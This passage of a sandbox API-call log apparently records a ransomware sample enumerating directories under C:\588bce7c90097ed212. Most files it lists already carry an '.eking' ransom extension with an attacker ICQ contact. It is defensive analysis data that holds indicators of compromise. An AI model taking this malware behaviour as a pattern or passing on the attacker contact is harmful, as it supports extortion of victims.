ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.231] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.231] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6744d615, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.231] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0212.231] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0212.231] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.232] GetProcessHeap () returned 0xc10000 [0212.232] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xceadf8 | out: hHeap=0xc10000) returned 1 [0212.232] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0212.232] FindClose (in: hFindFile=0xc29b48 | out: hFindFile=0xc29b48) returned 1 [0212.233] GetProcessHeap () returned 0xc10000 [0212.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0212.234] FindNextFileW (in: hFindFile=0xc29ac8, lpFindFileData=0x2e5f960 | out: lpFindFileData=0x2e5f960*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0212.234] FindNextFileW (in: hFindFile=0xc29ac8, lpFindFileData=0x2e5f960 | out: lpFindFileData=0x2e5f960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcf9004bd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf9004bd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0212.234] GetProcessHeap () returned 0xc10000 [0212.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0212.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcf9004bd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf9004bd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc29b48 [0212.464] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcf9004bd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf9004bd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0212.465] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1 [0212.465] GetProcessHeap () returned 0xc10000 [0212.465] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.471] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.471] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b59cbd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.471] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b7ff6e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.472] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.472] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.473] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.473] GetProcessHeap () returned 0xc10000 [0212.473] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.473] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1 [0212.474] GetProcessHeap () returned 0xc10000 [0212.474] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.477] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.477] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2de245f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2de245f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.477] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e086b4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e086b4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.477] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.477] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.478] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.479] GetProcessHeap () returned 0xc10000 [0212.479] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.479] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1 [0212.480] GetProcessHeap () returned 0xc10000 [0212.480] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.482] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.482] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e5f30b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.482] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e5f30b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e5f30b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e7af04, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.483] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.483] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.484] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.485] GetProcessHeap () returned 0xc10000 [0212.485] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.485] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1 [0212.485] GetProcessHeap () returned 0xc10000 [0212.485] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.486] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34c381a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc34c381a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34e992a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc350feeb, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc350feeb, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc350feeb, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.486] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.487] GetProcessHeap () returned 0xc10000 [0212.487] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.487] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1 [0212.487] GetProcessHeap () returned 0xc10000 [0212.487] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.492] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, 